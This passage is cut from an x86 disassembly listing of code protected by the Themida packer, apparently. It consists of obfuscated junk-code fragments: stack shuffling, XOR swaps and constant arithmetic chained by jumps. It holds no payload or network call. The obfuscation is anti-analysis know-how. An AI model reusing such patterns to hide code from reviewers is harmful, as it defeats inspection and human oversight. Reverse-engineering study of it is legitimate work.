		xchg	esi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_5728F5
; ---------------------------------------------------------------------------


loc_568418:				; CODE XREF: Themida_:0056EB68j
		pop	edx
		push	3FA1h
		mov	[esp-0Ch+arg_8], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp-0Ch+arg_8]
		jmp	loc_570C92
; ---------------------------------------------------------------------------


loc_568442:				; CODE XREF: sub_55EDA7+BBCj
		add	esi, eax
		pop	eax
		add	esi, eax
		sub	esi, 2F937508h
		sub	esi, 3CF46C1Eh
		mov	eax, [esp+3Ch+var_3E+2]
		add	esp, 4
		push	58A3h
		mov	[esp+3Ch+var_3E+2], esi
		push	[esp+3Ch+var_3A+2]
		pop	esi
		pop	[esp+3Ch+var_3E+2]
		jmp	loc_567EEC
; ---------------------------------------------------------------------------


loc_56846E:				; CODE XREF: sub_55EDA7+7AB2j
		xor	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		jmp	loc_5679A5
; ---------------------------------------------------------------------------


loc_568479:				; CODE XREF: sub_55EDA7+9869j
		mov	esp, [esp+26h+var_26]
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esp
		add	[esp+2Ah+var_2A], 4
		pop	[esp+2Ah+var_2A]
		jmp	loc_56927E
; ---------------------------------------------------------------------------


loc_568491:				; CODE XREF: sub_55EDA7+A875j
		add	edx, 0B9F6EA66h
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+26h+var_26], eax
		push	edi
		push	ecx
		jmp	loc_57276A
; ---------------------------------------------------------------------------


loc_5684A7:				; CODE XREF: sub_55EDA7+E250j
		xor	dl, 0A8h
		xor	bl, dl
		pop	edx
		add	al, bl
		jmp	loc_569739
; ---------------------------------------------------------------------------


loc_5684B4:				; CODE XREF: sub_55EDA7+3500j
		xchg	esi, [esp+0Eh+var_E]
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_5687A0
; ---------------------------------------------------------------------------


loc_5684C3:				; CODE XREF: sub_55EDA7+10363j
		mov	edi, ebx
		pop	ebx
		jmp	loc_567C7C
; ---------------------------------------------------------------------------


loc_5684CB:				; CODE XREF: sub_55EDA7+13F7Dj
		sub	edi, 54151FECh
		jmp	loc_56D8D7
; ---------------------------------------------------------------------------


loc_5684D6:				; CODE XREF: sub_55EDA7+D499j
		shl	eax, 3
		xor	eax, 0E33EFE3Eh
		or	ecx, eax
		pop	eax
		add	ecx, 0FFFFFFFFh
		jmp	loc_5718CC
; ---------------------------------------------------------------------------


loc_5684E9:				; CODE XREF: sub_55EDA7+8621j
		push	[esp-1Ch+arg_1C]
		push	[esp-18h+arg_14]
		jmp	loc_571F63
; ---------------------------------------------------------------------------


loc_5684F5:				; CODE XREF: sub_55EDA7+17Dj
		push	194Ch
		mov	[esp+20h+var_22+2], edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_560C9F
; ---------------------------------------------------------------------------


loc_568509:				; CODE XREF: sub_55EDA7+B639j
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], esi
		sub	[esp+1Ch+var_1E+2], 335D5CB5h
		jmp	loc_5715BA
; ---------------------------------------------------------------------------


loc_56851C:				; CODE XREF: sub_55EDA7+538Fj
		mov	[esp-24h+arg_20], ebx
		push	edx
		push	4DBE7B68h
		pop	edx
		jmp	loc_56960E
; ---------------------------------------------------------------------------


loc_56852B:				; CODE XREF: sub_55EDA7+11025j
		mov	edx, [esp-20h+arg_1C]
		add	esp, 4
		pop	dword ptr [eax]
		sub	esp, 4
		mov	[esp-24h+arg_20], edx
		mov	edx, 150268D2h
		sub	[eax], edx
		pop	edx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56854C:				; CODE XREF: sub_55EDA7+3113j
		or	ecx, edi
		mov	edi, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	eax
		jmp	loc_55F7D2
; ---------------------------------------------------------------------------


loc_56855A:				; CODE XREF: sub_55EDA7+6799j
		add	esp, 4
		and	eax, edx
		mov	edx, [esp+2Ch+var_2E+2]
		jmp	loc_56AFE4
; ---------------------------------------------------------------------------


loc_56856A:				; CODE XREF: sub_55EDA7+2442j
		pop	esp
		mov	word ptr [esp-1Ch+arg_18], dx
		jmp	loc_5722F0
; ---------------------------------------------------------------------------


loc_568574:				; CODE XREF: sub_55ECB4+3j
		mov	[esp-1Ch+arg_18], ebx
		push	[esp-1Ch+arg_18]
		pop	ebp
		sub	esp, 4
		mov	[esp-18h+arg_14], edx
		push	13FBh
		push	esp
		pop	[esp-10h+arg_C]
		add	[esp-14h+arg_10], 4
		mov	edx, [esp-14h+arg_10]
		jmp	loc_55F6B1
; ---------------------------------------------------------------------------


loc_568599:				; CODE XREF: sub_55EDA7+13C4Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edi
		xor	edi, [esp-10h+arg_C]
		pop	esp
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	3872h
		mov	[esp-10h+arg_C], eax
		push	edi
		jmp	loc_561941
; ---------------------------------------------------------------------------


loc_5685CB:				; CODE XREF: sub_55EDA7+2C9Cj
		add	ecx, ebx
		add	ecx, 37B84883h
		jmp	loc_56D0CB
; ---------------------------------------------------------------------------


loc_5685D8:				; CODE XREF: sub_55EDA7+9B4j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-10h+arg_C]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_5615E1
; ---------------------------------------------------------------------------


loc_5685F0:				; CODE XREF: sub_55EDA7+12A08j
		add	edi, eax
		sub	edi, 307232Ch
		jmp	loc_56137E
; ---------------------------------------------------------------------------


loc_5685FD:				; CODE XREF: sub_56D6ED+A43j
		pop	ebx
		pop	edi
		push	eax
		push	[esp-14h+arg_14]
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		pop	[esp-14h+arg_10]
		jmp	loc_568479
; ---------------------------------------------------------------------------


loc_568615:				; CODE XREF: sub_55EDA7+DFF8j
		pop	edx
		push	ecx
		mov	ecx, 0EE1324Ah
		or	ecx, 157B4315h
		sub	ecx, 0FFFFFFFFh
		or	ecx, 302D3140h
		jmp	loc_569420
; ---------------------------------------------------------------------------


loc_568633:				; CODE XREF: sub_55EDA7+1355Cj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], eax
		xor	eax, [esp-1Ch+arg_18]
		pop	esp
		add	esp, 4
		jmp	loc_56F76F
; ---------------------------------------------------------------------------


loc_568657:				; CODE XREF: sub_55EDA7+9462j
		xchg	edi, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		sub	al, 67h
		jmp	loc_56D2C4
; ---------------------------------------------------------------------------


loc_568664:				; CODE XREF: sub_55EDA7+CB29j
		pop	eax
		add	esp, 4
		add	eax, 6243751Ah
		add	eax, ebp
		sub	eax, 6243751Ah
		mov	ebp, [esp+6+var_8+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_570AD8
; ---------------------------------------------------------------------------


loc_56868F:				; CODE XREF: sub_55EDA7+7BAAj
		mov	ah, 9Eh
		jmp	loc_569F2D
; ---------------------------------------------------------------------------


loc_568696:				; CODE XREF: sub_55EDA7+1146Dj
		sub	ch, ah
		add	ch, 7Ah
		pop	eax
		jmp	loc_568AAB
; ---------------------------------------------------------------------------


loc_5686A1:				; CODE XREF: sub_55EDA7+3C2Ej
		mov	esp, [esp-18h+arg_14]
		add	[esp-18h+arg_14], 0B210C31h
		add	[esp-18h+arg_14], eax
		sub	[esp-18h+arg_14], 0B210C31h
		push	ebp
		mov	ebp, 121A2E59h
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		mov	eax, 5036AAEh
		sub	[esp-10h+arg_14], eax
		pop	eax
		push	edi
		mov	edi, 21C76877h
		sub	[esp-10h+arg_14], edi
		jmp	loc_5628AE
; ---------------------------------------------------------------------------


loc_5686DD:				; CODE XREF: sub_55EDA7+1139Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	7F74h
		mov	[esp-8+arg_4], edx
		jmp	loc_5634CF
; ---------------------------------------------------------------------------


loc_5686F3:				; CODE XREF: sub_55EDA7+2669j
		sub	edi, ecx
		pop	ecx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_563100
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp+10h+var_12+2], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+18h+var_16+2]
		pop	ecx
		pop	[esp+18h+var_1A+2]
		pop	esp
		jmp	loc_5670A2
; ---------------------------------------------------------------------------


loc_56872B:				; CODE XREF: sub_55EDA7+7A7Cj
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		xor	esi, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], esi
		xor	esi, [esp+2Eh+var_2E]
		jmp	loc_56A8BF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Eh+var_2E]
		push	530Dh
		mov	[esp+32h+var_32], eax
		jmp	loc_55EA21
; ---------------------------------------------------------------------------


loc_56875E:				; CODE XREF: sub_55EDA7+2956j
		mov	edi, 52A44A7Bh
		push	21CEh
		jmp	loc_56CEDD
; ---------------------------------------------------------------------------


loc_56876D:				; DATA XREF: Themida_:0055DF88o
		lodsb
		add	al, 0AAh
		add	al, bl
		push	49B2h
		jmp	loc_56F278
; ---------------------------------------------------------------------------


loc_56877C:				; DATA XREF: Themida_:0055DFE0o
		mov	ax, word ptr [esp+44h+var_46+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], edx
		jmp	loc_568E2C
; ---------------------------------------------------------------------------


loc_568798:				; CODE XREF: sub_55EDA7+242Ej
		mov	[esp-18h+arg_14], eax
		jmp	loc_562DEF
; ---------------------------------------------------------------------------


loc_5687A0:				; CODE XREF: sub_55EDA7+9717j
		mov	cx, word ptr [esp+6+var_8+2]
		push	3870h
		jmp	loc_56C70F
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5704E5
; ---------------------------------------------------------------------------


loc_5687B4:				; CODE XREF: sub_55EDA7-9DFj
		xchg	esi, edx
		sub	edx, 61B50774h
		push	ebx
		mov	ebx, 7FC33813h
		push	6907h
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 3FB91FC6h
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esi
		mov	esi, 634F53E6h
		jmp	loc_564DE2
; ---------------------------------------------------------------------------


loc_5687E2:				; CODE XREF: sub_55EDA7+13D5j
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		push	7ABFh
		mov	[esp-14h+arg_10], esi
		push	esp
		pop	esi
		push	ebx
		push	edi
		jmp	loc_5711D0
; ---------------------------------------------------------------------------


loc_5687F9:				; CODE XREF: sub_55EDA7+95CAj
		shl	edx, 1
		sub	esp, 4
		mov	[esp+24h+var_26+2], eax
		jmp	loc_56BE00
; ---------------------------------------------------------------------------


loc_568806:				; CODE XREF: sub_55EDA7+11204j
		push	eax
		mov	ah, 0A1h
		dec	ah
		jmp	loc_55F18B
; ---------------------------------------------------------------------------


loc_568810:				; CODE XREF: sub_55EDA7+AD3Fj
		add	esi, 59462877h
		jmp	loc_56EEA3
; ---------------------------------------------------------------------------


loc_56881B:				; CODE XREF: sub_55EDA7+B6E6j
		add	eax, 3E91336Ch
		push	edx
		jmp	loc_55F2EC
; ---------------------------------------------------------------------------


loc_568826:				; CODE XREF: sub_55EDA7+1362Aj
		push	edx
		jmp	loc_56D98C
; ---------------------------------------------------------------------------


loc_56882C:				; CODE XREF: sub_55EDA7+E581j
		push	[esp+30h+var_32+2]
		jmp	loc_55FCE2
; ---------------------------------------------------------------------------


loc_568834:				; CODE XREF: sub_55EDA7+4723j
		pop	ebp
		jmp	loc_56C2AF
; ---------------------------------------------------------------------------


loc_56883A:				; CODE XREF: sub_55EDA7+246Ej
		pop	ecx
		push	edi
		mov	edi, 2
		add	eax, edi
		jmp	loc_572659
; ---------------------------------------------------------------------------


loc_568848:				; CODE XREF: sub_55EDA7+27D3j
		add	[esp+3Ch+var_3E+2], 4
		pop	[esp+3Ch+var_3E+2]
		add	[esp+38h+var_3A+2], 4
		mov	ecx, [esp+38h+var_3A+2]
		add	esp, 4
		add	ecx, 4
		jmp	loc_565A6A
; ---------------------------------------------------------------------------


loc_568867:				; CODE XREF: sub_55EDA7+DCEFj
		and	esi, 748A4391h
		sub	esi, 0E9A4DD7Ch
		add	eax, esi
		pop	esi
		jmp	loc_56F77C
; ---------------------------------------------------------------------------


loc_56887B:				; CODE XREF: sub_55EDA7+1ED4j
		pop	ecx
		not	ecx
		jmp	loc_56A9D7
; ---------------------------------------------------------------------------


loc_568883:				; CODE XREF: sub_55EDA7-79Cj
		pop	[esp-24h+arg_20]
		jmp	loc_56F0C8
; ---------------------------------------------------------------------------


loc_56888B:				; CODE XREF: sub_55EDA7+580Cj
		push	ebp
		mov	ebp, edi
		mov	edx, ebp
		pop	ebp
		pop	edi
		sub	ebx, edx
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_562755
; ---------------------------------------------------------------------------


loc_5688BD:				; CODE XREF: sub_55EDA7+2C2Fj
		not	ecx
		xchg	ecx, edi
		jmp	loc_56FAF0
; ---------------------------------------------------------------------------


loc_5688C6:				; CODE XREF: sub_55EDA7+12395j
		push	77A70C0Bh
		mov	ebx, [esp-18h+arg_14]
		add	esp, 4
		jmp	loc_56B443
; ---------------------------------------------------------------------------


loc_5688D6:				; CODE XREF: sub_55EDA7+AD7Fj
		push	57A7h
		mov	[esp-18h+arg_14], ebx
		push	eax
		push	19095C8Dh
		pop	eax
		mov	ebx, 0C754642h
		xor	ebx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_566B87
; ---------------------------------------------------------------------------


loc_5688F5:				; CODE XREF: sub_55EDA7+5C98j
		sub	dl, 1Eh
		add	dl, ch
		mov	ecx, [esp+2Eh+var_2E]
		jmp	loc_5721A5
; ---------------------------------------------------------------------------


loc_568902:				; CODE XREF: sub_55EDA7+B318j
		add	esp, 4
		push	7A1Fh
		mov	[esp+2Eh+var_2E], eax
		mov	eax, 50531700h
		jmp	loc_56D4D3
; ---------------------------------------------------------------------------


loc_56891A:				; CODE XREF: sub_55EDA7+37A0j
		add	esi, ebp
		pop	ebp
		push	edx
		push	3746h
		mov	[esp+26h+var_26], ecx
		mov	ecx, 1937816h
		push	edi
		mov	edi, 5CCD7B18h
		shr	edi, 3
		xor	edi, 18C7D31Fh
		mov	edx, edi
		mov	edi, [esp+2Ah+var_2A]
		jmp	loc_560C36
; ---------------------------------------------------------------------------


loc_568944:				; CODE XREF: sub_55EDA7+82A1j
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_56EE09
; ---------------------------------------------------------------------------


loc_568950:				; CODE XREF: sub_55EDA7+6B3Fj
		push	170Eh
		mov	[esp-1Ch+arg_18], edi
		mov	edi, 59BC7454h
		push	5F47h
		mov	[esp-18h+arg_14], eax
		mov	eax, 4DD0443Ah
		sub	edi, 7FB5F25h
		sub	edi, eax
		push	edx
		jmp	loc_564BA3
; ---------------------------------------------------------------------------


loc_568978:				; CODE XREF: sub_55EDA7+1261Fj
		pop	ecx
		sub	esp, 4
		jmp	loc_56202E
; ---------------------------------------------------------------------------


loc_568981:				; CODE XREF: sub_55EDA7+C522j
		mov	ebx, [esp-14h+arg_10]
		jmp	loc_562231
; ---------------------------------------------------------------------------


loc_568989:				; CODE XREF: sub_55EDA7+64DDj
		pop	eax
		push	6280h
		mov	[esp-20h+arg_1C], edx
		add	[esp-20h+arg_1C], 1
		pop	edx
		jmp	loc_560073
; ---------------------------------------------------------------------------


loc_56899C:				; CODE XREF: sub_55EDA7+AF26j
		pop	esp
		jmp	loc_56E78B
; ---------------------------------------------------------------------------


loc_5689A2:				; CODE XREF: sub_55EDA7+4497j
		mov	word ptr [esp-12h+arg_C+2], ax
		jmp	loc_56C25E
; ---------------------------------------------------------------------------


loc_5689AB:				; CODE XREF: sub_55EDA7+1C2Aj
		add	[esp+4], edi
		sub	dword ptr [esp+4], 4B9A09F7h
		jmp	loc_55E9D2
; ---------------------------------------------------------------------------


loc_5689BC:				; CODE XREF: sub_55EDA7+6F63j
		push	744B7E07h
		pop	edx
		jmp	loc_572185
; ---------------------------------------------------------------------------


loc_5689C7:				; CODE XREF: sub_55EDA7+358Dj
		push	ebx
		jmp	loc_56DB76
; ---------------------------------------------------------------------------


loc_5689CD:				; CODE XREF: sub_55EDA7+1910j
		mov	esi, 0FBFDFDBh
		sub	ebp, esi
		jmp	loc_56FA5D
; ---------------------------------------------------------------------------


loc_5689D9:				; CODE XREF: sub_55EDA7+ADCBj
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp-18h+arg_14]
		push	ebp
		push	389h
		mov	[esp-10h+arg_C], esp
		add	[esp-10h+arg_C], 4
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_567257
; ---------------------------------------------------------------------------


loc_568A01:				; CODE XREF: sub_55EDA7+11E48j
		push	esi
		jmp	loc_5630C0
; ---------------------------------------------------------------------------


loc_568A07:				; CODE XREF: sub_55EDA7+104CCj
		pop	cx
		push	ebp
		mov	bp, 18E3h
		push	si
		mov	si, 8BBh
		jmp	loc_5664E0
; ---------------------------------------------------------------------------


loc_568A19:				; CODE XREF: sub_55EDA7+22AFj
		mov	[esp-18h+arg_14], edx
		sub	esp, 4
		mov	[esp-14h+arg_10], esp
		add	[esp-14h+arg_10], 4
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], edx
		jmp	loc_56ABF7
; ---------------------------------------------------------------------------


loc_568A41:				; CODE XREF: sub_55EDA7+3333j
		mov	edx, 7FD47D6Eh
		add	edx, 802B8296h
		add	esi, edx
		pop	edx
		add	esi, 4
		push	esi
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		jmp	loc_572886
; ---------------------------------------------------------------------------


loc_568A63:				; CODE XREF: sub_55EDA7+C2C4j
		add	edi, 837CD2C7h
		sub	eax, edi
		pop	edi
		push	3166h
		mov	[esp-4+arg_0], ebp
		jmp	loc_56698B
; ---------------------------------------------------------------------------


loc_568A79:				; CODE XREF: sub_55EDA7+5875j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5683AC
; ---------------------------------------------------------------------------


loc_568A8C:				; CODE XREF: sub_55EDA7+ADD5j
		add	[esp-10h+arg_14], 393A71D2h
		sub	[esp-10h+arg_14], edx
		push	edi
		jmp	loc_55F8F6
; ---------------------------------------------------------------------------


loc_568A9E:				; CODE XREF: sub_55EDA7+E71Ej
		not	ecx
		jmp	loc_5641B8
; ---------------------------------------------------------------------------


loc_568AA5:				; CODE XREF: sub_55EDA7+1025Aj
		pop	ecx
		jmp	loc_5608BA
; ---------------------------------------------------------------------------


loc_568AAB:				; CODE XREF: sub_55EDA7+98F5j
		push	ebx
		mov	bl, ch
		push	ecx
		push	edx
		mov	dh, bl
		mov	ch, dh
		jmp	loc_56EFF0
; ---------------------------------------------------------------------------


loc_568AB9:				; CODE XREF: sub_55EDA7+7179j
		shr	esi, 2
		add	esi, 1
		push	ecx
		jmp	loc_560E21
; ---------------------------------------------------------------------------


loc_568AC5:				; CODE XREF: sub_55EDA7+135E8j
		mov	ebx, 4
		jmp	loc_5712B4
; ---------------------------------------------------------------------------


loc_568ACF:				; CODE XREF: sub_55EDA7+13F2j
		mov	bh, ch
		pop	ecx
		push	edx
		push	ebx
		mov	bh, 0F8h
		mov	dh, bh
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		add	bh, dh
		pop	edx
		jmp	loc_566B90
; ---------------------------------------------------------------------------


loc_568AE9:				; CODE XREF: sub_55EDA7+879Aj
		push	519Fh
		mov	[esp+1Ah+var_1A], esp
		add	[esp+1Ah+var_1A], 4
		pop	ecx
		jmp	loc_560D20
; ---------------------------------------------------------------------------


loc_568AFE:				; CODE XREF: sub_55EDA7+6036j
		mov	ch, 2Bh
		mov	ah, ch
		pop	ecx
		jmp	loc_560A08
; ---------------------------------------------------------------------------


loc_568B08:				; CODE XREF: sub_55EDA7+13530j
		pop	ecx
		push	edi
		push	42047293h
		jmp	loc_56FE8E
; ---------------------------------------------------------------------------


loc_568B14:				; CODE XREF: sub_55EDA7+4B39j
		add	ecx, 1
		push	eax
		jmp	loc_5704AF
; ---------------------------------------------------------------------------

locret_568B1D:				; CODE XREF: Themida_:0056EDCEj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55EF96
; ---------------------------------------------------------------------------


loc_568B23:				; CODE XREF: sub_56D5F2+4B10j
		mov	edi, [esp+8+var_8]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_56498A
; ---------------------------------------------------------------------------


loc_568B33:				; CODE XREF: sub_55EDA7+12E73j
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		mov	esi, edx
		jmp	loc_56A49A
; ---------------------------------------------------------------------------


loc_568B57:				; CODE XREF: sub_55EDA7+FF9Cj
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		pop	esp
		jmp	loc_56022A
; ---------------------------------------------------------------------------


loc_568B63:				; CODE XREF: sub_55EDA7+AB91j
		mov	[esp-0Ch+arg_8], ebx
		sub	esp, 4
		mov	[esp-8+arg_4], ebp
		push	esi
		jmp	loc_57231E
; ---------------------------------------------------------------------------


loc_568B72:				; CODE XREF: sub_55EDA7+EFB5j
		add	esp, 4
		pop	[esp-8+arg_4]
		jmp	loc_55F4E1
; ---------------------------------------------------------------------------


loc_568B80:				; CODE XREF: sub_55EDA7+D78Aj
		pop	edi
		add	eax, 2
		jmp	loc_561BCF
; ---------------------------------------------------------------------------


loc_568B8B:				; CODE XREF: sub_55EDA7+D7AEj
		add	ch, ah
		jmp	loc_570925
; ---------------------------------------------------------------------------


loc_568B92:				; CODE XREF: sub_55EDA7+2FE3j
		or	ch, bh
		pop	ebx
		jmp	loc_560196
; ---------------------------------------------------------------------------


loc_568B9A:				; CODE XREF: sub_55EDA7+F106j
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], ebp
		push	esp
		jmp	loc_55EF85
; ---------------------------------------------------------------------------


loc_568BAD:				; DATA XREF: Themida_:0055DFCCo
		push	[esp+1Ch+var_1E+2]
		pop	eax
		jmp	loc_56AA4C
; ---------------------------------------------------------------------------


loc_568BB6:				; CODE XREF: sub_55EDA7+11703j
		sub	al, 8
		push	[esp+1Ch+var_1E+2]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	bl, al
		mov	dh, bl
		pop	ebx
		pop	eax
		sub	al, dh
		push	[esp+14h+var_16+2]
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		push	5D7Ah
		mov	[esp+18h+var_1A+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+18h+var_1A+2]
		jmp	loc_55F61F
; ---------------------------------------------------------------------------


loc_568BEF:				; CODE XREF: sub_55EDA7+AF91j
		add	edx, eax
		jmp	loc_56C04B
; ---------------------------------------------------------------------------


loc_568BF6:				; CODE XREF: sub_55EDA7+2D72j
		add	ebx, 0FF5E8360h
		jmp	loc_55FC2B
; ---------------------------------------------------------------------------


loc_568C01:				; CODE XREF: sub_55EDA7+49FCj
		mov	esi, esp
		jmp	loc_56229E
; ---------------------------------------------------------------------------


loc_568C08:				; CODE XREF: sub_55EDA7+23F7j
		xor	edi, 0C8FFE742h
		mov	esi, edi
		jmp	loc_56DDD7
; ---------------------------------------------------------------------------


loc_568C15:				; CODE XREF: sub_55EDA7+6EA5j
		push	5042h
		mov	[esp+18h+var_1A+2], ecx
		mov	ecx, 2C674E41h
		xor	[esp+18h+var_16+2], ecx
		pop	ecx
		pop	eax
		push	77DEh
		mov	[esp+14h+var_16+2], ecx
		mov	ecx, 2C674E41h
		xor	eax, ecx
		pop	ecx
		push	[esp+10h+var_12+2]
		jmp	loc_56E4B6
; ---------------------------------------------------------------------------


loc_568C40:				; CODE XREF: sub_55EDA7+9Bj
		dec	ebx
		not	ebx
		jmp	loc_5654EE
; ---------------------------------------------------------------------------


loc_568C48:				; CODE XREF: sub_55EDA7+FA58j
		push	[esp+8+var_4]
		push	[esp+0Ch+var_E+2]
		jmp	loc_56B2E5
; ---------------------------------------------------------------------------


loc_568C54:				; CODE XREF: sub_55EDA7+61EAj
		push	eax
		push	ebp
		mov	ebp, 136D57F6h
		xor	[esp-1Ch+arg_1C], ebp
		jmp	loc_56057F
; ---------------------------------------------------------------------------


loc_568C64:				; CODE XREF: sub_55EDA7+127E3j
		sub	ebp, 2F52621h
		add	ebp, 45263357h
		sub	ebp, edi
		sub	ebp, 45263357h
		add	ebp, 2F52621h
		jmp	loc_56F006
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp-18h+arg_14], ebx
		push	226Eh
		mov	[esp-14h+arg_10], ebx
		jmp	loc_56F35C
; ---------------------------------------------------------------------------


loc_568C96:				; CODE XREF: sub_55EDA7+12659j
		or	edx, eax
		shl	edx, 1
		jmp	loc_567E14
; ---------------------------------------------------------------------------


loc_568C9F:				; CODE XREF: sub_55EDA7+A4D2j
		push	edx
		mov	edx, 0AB8096Fh
		sub	edx, 428C45CFh
		add	edx, 0FFFFFFFFh
		jmp	loc_569F81
; ---------------------------------------------------------------------------


loc_568CB3:				; CODE XREF: sub_55EDA7+13F1Aj
		mov	ecx, 57257A43h
		or	ecx, 3951782Dh
		dec	ecx
		push	edi
		mov	edi, 23D16035h
		jmp	loc_56C998
; ---------------------------------------------------------------------------


loc_568CCA:				; CODE XREF: sub_55EDA7+126EBj
		pop	ebp
		jmp	loc_5631D8
; ---------------------------------------------------------------------------


loc_568CD0:				; CODE XREF: sub_55EDA7+13766j
		push	3ACDh
		mov	[esp-0Ch+arg_8], ecx
		push	ebx
		push	615677CCh
		jmp	loc_569695
; ---------------------------------------------------------------------------


loc_568CE3:				; CODE XREF: sub_55EDA7+118F2j
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		xor	eax, 9E5722Ch
		add	eax, 0EF33C2B4h
		sub	ebx, 747922BCh
		jmp	loc_566F98
; ---------------------------------------------------------------------------


loc_568CFE:				; CODE XREF: sub_55EDA7+11E2j
		pop	ebx
		push	0D1Eh
		jmp	loc_5614F4
; ---------------------------------------------------------------------------


loc_568D09:				; CODE XREF: sub_55EDA7+11E9Dj
		add	esp, 4
		add	eax, 4
		push	ebp
		push	ecx
		mov	ecx, 48CA10CEh
		neg	ecx
		shr	ecx, 5
		jmp	loc_56B408
; ---------------------------------------------------------------------------


loc_568D22:				; CODE XREF: sub_55EDA7+DB2Cj
		sub	ebp, edx
		pop	edx
		pop	edx
		jmp	loc_561099
; ---------------------------------------------------------------------------


loc_568D2B:				; CODE XREF: sub_55EDA7+510Ej
		push	ebx
		jmp	loc_562669
; ---------------------------------------------------------------------------


loc_568D31:				; CODE XREF: sub_55EDA7+519Dj
		xor	ebp, [esp+12h+var_12]
		jmp	loc_55FBAB
; ---------------------------------------------------------------------------


loc_568D39:				; CODE XREF: sub_55EDA7+10FD4j
		xchg	esi, [esp+12h+var_12]
		pop	esp
		jmp	loc_568D67
; ---------------------------------------------------------------------------


loc_568D42:				; CODE XREF: sub_55EDA7+5B07j
		shl	edi, 8
		or	edi, 7FBB20E6h
		not	edi
		dec	edi
		jmp	loc_570FE8
; ---------------------------------------------------------------------------


loc_568D53:				; CODE XREF: sub_55EDA7+6638j
		inc	ebx
		add	ebx, 0AC4AFA6Dh
		mov	edi, ebx
		jmp	loc_569D2E
; ---------------------------------------------------------------------------


loc_568D61:				; CODE XREF: sub_55EDA7+6FF5j
		pop	ecx
		jmp	loc_56A0CB
; ---------------------------------------------------------------------------


loc_568D67:				; CODE XREF: sub_55EDA7+9F96j
		xor	edi, 1E753F74h
		push	ebp
		push	ebx
		jmp	loc_562809
; ---------------------------------------------------------------------------


loc_568D74:				; DATA XREF: Themida_:0055DF28o
		push	[esp+16h+var_16]
		mov	eax, [esp+1Ah+var_1A]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		mov	eax, 4
		push	edi
		mov	edi, 15F313D4h
		sub	esi, edi
		pop	edi
		add	esi, eax
		push	eax
		mov	eax, 1D165A25h
		inc	eax
		not	eax
		add	eax, 33096DFBh
		add	esi, eax
		jmp	loc_5701D4
; ---------------------------------------------------------------------------
